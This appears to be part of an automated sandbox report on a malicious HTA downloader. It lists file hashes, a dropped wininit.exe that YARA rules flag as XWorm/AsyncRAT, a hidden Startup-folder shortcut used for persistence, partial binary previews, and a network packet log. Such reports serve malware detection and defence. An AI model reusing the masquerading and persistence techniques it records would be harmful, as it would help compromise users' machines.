SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4gtiglr.t1k.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iq1wcscg.1vm.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmwncoxi.3m4.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxkclg35.bhy.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ouzzbcoy.nhh.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plkspola.jyh.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0nnqezv.y2u.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q3ldg355.jyw.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wq0grskw.lew.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xm5knxtn.xrk.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\wininit.exe (copy)

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.071663313968177
Encrypted:	false
SSDEEP:	1536:uWm/qYqZp1parEfel1tQ7ScRM40bwnssq5lV6R14OdHZtdDS:uiXBQeOcG40bwwPOh9S
MD5:	DC8534F103A3167CEC27B4B01FEA89A4
SHA1:	8B4326CD0F572F0FFFA42B2E94739E9D756BD7F0
SHA-256:	11F65837861268603D19266A62AD2C1876D5CFE33540704860FD7AFE27A476E1
SHA-512:	61A8CE5C6ABD24C50558A8D1708F94275AC1ACBE166D6502F5FB22711A9056D1E95725C66677B631E97AB14F8D0AB6DFC086442302D7990E8DAC5CDBCA3C57B1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....6g.................$...........C... ...`....@.. ....................................@.................................TC..W....`..F............................................................................ ............... ..H............text....#... ...$.................. ..`.rsrc...F....`.......&..............@..@.reloc..............................@..B.................C......H........m..........&.....................................................(.....r...p. .t....(.....r...p. p{..s.........s.........s.........s..........rO..p. ..e..r...p. .....r(..p. .]b..rZ..p. .....r...p. .!....((....r...p. (....r...p. . ...(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Z..."(....+.&($...&+..+5sk... .... .'..ol...(,...~....-.(_...(Q...~....om...&.-..r...p. w....r2..p. E/...rd..p. E....r...p. ....r...p. .8F..r...p. .(T..r,.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wininit.lnk

Process:	C:\Users\user\AppData\Local\Temp\wininit.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Dec 4 14:27:36 2024, mtime=Wed Dec 4 14:27:36 2024, atime=Wed Dec 4 14:27:36 2024, length=77824, window=hide
Category:	dropped
Size (bytes):	765
Entropy (8bit):	5.007446697208968
Encrypted:	false
SSDEEP:	12:8gs24fp4088CjrlsY//7LCjAKHHD0pblmV:8ffaf8IZn+AKwlm
MD5:	2889821F21BC49F90CA3790ACD54D41E
SHA1:	E54FF2CCE187569A4767DD15D0A83380249AC2D6
SHA-256:	5CA392792AA4CD3D56759AAD487E9E3B41762E6C223A377667AC2221205F1144
SHA-512:	FE4CD467D1BD6005A1C6A9415559CD37E2C945472DB53EEE8CFC36785E28338DC732900BA8363EEFE257BF11600F1E2FF17D04F7562D984D0A53ACDC903DFC63
Malicious:	false
Preview:	L..................F.... .....:.aF....:.aF....:.aF...0......................v.:..DG..Yr?.D..U..k0.&...&...... M.......#.`F..LIW.aF......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Y3{....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Y6{..Roaming.@......DWSl.Y6{....C.........................R.o.a.m.i.n.g.....b.2..0...Ys{ .wininit.exe.H......Ys{.Ys{...........................c..w.i.n.i.n.i.t...e.x.e.......Z...............-.......Y...................C:\Users\user\AppData\Roaming\wininit.exe........\.....\.....\.....\.....\.w.i.n.i.n.i.t...e.x.e.`.......X.......134349...........hT..CrF.f4... ...W?T....,...W..hT..CrF.f4... ...W?T....,...W..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\wininit.exe

Process:	C:\Users\user\AppData\Local\Temp\wininit.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.071663313968177
Encrypted:	false
SSDEEP:	1536:uWm/qYqZp1parEfel1tQ7ScRM40bwnssq5lV6R14OdHZtdDS:uiXBQeOcG40bwwPOh9S
MD5:	DC8534F103A3167CEC27B4B01FEA89A4
SHA1:	8B4326CD0F572F0FFFA42B2E94739E9D756BD7F0
SHA-256:	11F65837861268603D19266A62AD2C1876D5CFE33540704860FD7AFE27A476E1
SHA-512:	61A8CE5C6ABD24C50558A8D1708F94275AC1ACBE166D6502F5FB22711A9056D1E95725C66677B631E97AB14F8D0AB6DFC086442302D7990E8DAC5CDBCA3C57B1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\wininit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\wininit.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\wininit.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....6g.................$...........C... ...`....@.. ....................................@.................................TC..W....`..F............................................................................ ............... ..H............text....#... ...$.................. ..`.rsrc...F....`.......&..............@..@.reloc..............................@..B.................C......H........m..........&.....................................................(.....r...p. .t....(.....r...p. p{..s.........s.........s.........s..........rO..p. ..e..r...p. .....r(..p. .]b..rZ..p. .....r...p. .!....((....r...p. (....r...p. . ...(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Z..."(....+.&($...&+..+5sk... .... .'..ol...(,...~....-.(_...(Q...~....om...&.-..r...p. w....r2..p. E/...rd..p. E....r...p. ....r...p. .8F..r...p. .(T..r,.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.3027470786596576
TrID:	HyperText Markup Language with DOCTYPE (12503/2) 26.32% HyperText Markup Language (12001/1) 25.26% HyperText Markup Language (12001/1) 25.26% HyperText Markup Language (11001/1) 23.16%
File name:	downloader2.hta
File size:	834 bytes
MD5:	14d473e5742bc69b4360025876bcee11
SHA1:	dd6fe9ffd3454aca4be62bdc4e5801640590dbd4
SHA256:	36e409c298efa59e2062e44b5cefb8b445c18f98c5524de0ace1ccac27c41010
SHA512:	ae5560fc15029643b08ab92f43b4f536e78f14acdcae36a463c577df2bcdd7456773eb3906354516344a65417baea9752682d7360488c223e13f7e600444dfb8
SSDEEP:	24:hMNmMvy4GqptE0ia5ztp8xuY8y+or88+M8E4olEC:ImMqopO0Jfd4+oXt40F
TLSH:	340146AD6CDB8548B371C37512F7E2ADA413E18A60804E0CB3406297FF9A30E4B83383
File Content Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">.. <head>.. <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />..

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 16:25:55.014853954 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:25:55.134771109 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:25:55.135023117 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:25:55.135216951 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:25:55.255184889 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:25:56.585395098 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:25:56.631896973 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:25:56.752090931 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:25:56.955986023 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:25:56.956119061 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:25:56.956177950 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:01.395486116 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:01.515304089 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:01.722651005 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:01.722695112 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:01.722739935 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:04.176188946 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:04.295898914 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:04.500376940 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:04.549417973 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:06.866328001 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:06.986093044 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:07.192107916 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:07.236906052 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:13.505451918 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:13.625098944 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:13.834846020 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:13.877527952 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:14.834525108 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:14.954368114 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:15.160729885 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:15.160865068 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:15.160937071 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:16.160763025 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:16.284117937 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:16.487793922 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:16.488030910 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:16.488091946 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:17.504229069 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:17.624466896 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:17.830887079 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:17.830923080 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:17.830977917 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:18.847929001 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:18.968033075 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:19.174348116 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:19.174371958 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:19.174473047 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:19.178293943 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:19.221268892 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:20.175906897 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:20.295758963 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:20.500931025 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:20.501203060 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:20.501342058 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:20.505012989 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:20.549432993 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:21.394757032 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:21.514431000 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.733676910 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.733843088 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.734052896 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:21.736181974 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.736304998 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.736355066 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:21.744508982 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.745225906 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:21.745290041 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:23.910060883 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:24.030087948 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.238820076 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.238934040 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.239058971 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:24.242953062 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.243118048 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.243175030 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:24.251353025 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.251485109 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.251559973 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:24.259773970 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.260139942 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.260191917 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:24.268192053 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.268472910 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.268518925 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:24.276890039 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:24.330704927 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.457900047 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.578587055 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.792186975 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.792318106 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.792380095 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.796577930 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.796933889 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.796991110 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.804650068 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.807398081 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.807456017 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.813184977 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.813635111 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.813694000 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.821505070 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.823331118 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.823386908 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.829950094 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.830351114 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.830425024 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.838449955 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.838808060 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.838864088 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.846792936 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.847265005 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.847335100 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.855204105 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.855873108 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.855928898 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.863543034 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.863718033 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.863769054 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.871922970 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.872039080 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.872102976 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:26.880225897 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:26.924436092 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:27.738203049 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:27.858097076 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.066473961 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.066498041 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.066593885 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.068109035 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.068262100 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.068300962 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.074583054 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.074716091 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.074769974 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.080965042 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.080995083 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.081060886 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.087219000 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.087335110 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.087384939 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.093710899 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.093729973 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.093794107 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.100214005 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.100315094 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.100366116 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.106303930 CET	80	49707	104.21.80.1	192.168.2.5
